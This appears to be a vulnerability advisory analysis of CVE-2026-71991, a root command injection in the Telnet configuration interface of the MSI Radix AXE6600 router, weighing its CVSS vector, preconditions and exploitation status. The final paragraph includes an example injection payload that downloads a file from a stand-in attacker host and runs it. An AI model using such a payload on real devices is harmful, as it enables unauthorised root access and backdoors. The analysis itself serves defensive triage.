MSI Radix AXE6600 CVE-2026-71991

Exploitation requires the attacker to reach the router's Telnet configuration interface and submit input to the TelnetSSH function - the specific feature named in the advisory - so the Telnet configuration service must be reachable from the attacker's network position. The supplied CVSS 4.0 vector rates PR:N (unauthenticated) and AV:N (network), which would imply no special conditions beyond network reachability of a default configuration; however, because the flaw lives in a configuration interface, realistic exploitation is likely limited by whether Telnet is enabled, whether the management plane is exposed to the attacker (LAN vs. WAN), and whether administrative authentication is enforced. These limiting factors are not confirmed from the available data and should be verified against the VulnCheck advisory.

The vendor-supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) yields 9.3 and models an unauthenticated, low-complexity network attack with total impact - a top-priority profile if accurate. The signals partly conflict: the description states exploitation occurs 'through the Telnet configuration interface,' which on a router normally requires administrative access to the management plane, arguing for PR:L rather than PR:N; the PR:N rating may assume the interface is exposed without authentication or that the injection is reachable pre-auth, and this should be verified with VulnCheck/MSI. No EPSS score was provided, so exploitation probability cannot be quantified. There is no CISA KEV entry and no evidence of a public POC in the references, so this is not confirmed as actively exploited. Net: a genuinely high-severity, high-impact flaw whose real-world priority hinges on whether Telnet is enabled/exposed and whether exploitation is truly pre-authentication - both currently unconfirmed.

An attacker who can reach the router's Telnet configuration interface submits a configuration value containing shell metacharacters (for example a payload like ; wget http://evil/x -O /tmp/x; sh /tmp/x) into the TelnetSSH handler, which passes it to a root-level system command. The injected commands run as root, letting the attacker install a persistent backdoor or pivot into the LAN. No public POC is currently identified, but the low attack complexity makes weaponization straightforward for anyone with interface access.